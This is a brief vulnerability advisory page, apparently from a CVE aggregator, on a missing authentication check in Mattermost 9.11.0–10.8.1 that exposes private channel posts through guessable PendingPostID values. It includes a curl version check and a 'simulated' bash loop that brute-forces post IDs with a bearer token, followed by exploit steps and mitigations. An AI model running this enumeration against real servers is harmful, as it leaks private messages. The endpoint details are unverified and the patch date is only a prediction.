Listen to this Post
How the CVE Works
Mattermost fails to enforce proper authentication checks when retrieving cached posts using PendingPostID. An attacker with authenticated access can guess recently generated `PendingPostID` values and exploit this flaw to access private channel posts without authorization. The vulnerability affects versions 10.5.0 to 10.5.6, 10.8.0 to 10.8.1, 10.7.0 to 10.7.3, and 9.11.0 to 9.11.16. The lack of validation allows unauthorized data leakage from restricted channels.
DailyCVE Form
Platform: Mattermost
Version: 9.11.0-10.8.1
Vulnerability: Missing Auth Check
Severity: Moderate
Date: Jul 18, 2025
Prediction: Patch by Aug 1, 2025
What Undercode Say
Check Mattermost version
curl -s http://localhost:8065/api/v4/config/client | grep "Version"
Exploit POC (simulated)
for id in {1..1000}; do
curl -H "Authorization: Bearer <TOKEN>" "http://target/api/v4/posts/pending/$id"
done
How Exploit
1. Authenticate to Mattermost.
2. Brute-force `PendingPostID` values.
3. Retrieve unauthorized private posts.
Protection from this CVE
1. Upgrade to patched versions.
2. Restrict API access.
3. Monitor suspicious requests.
Impact
Unauthorized data exposure.
Privacy violation.
Information leakage.
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
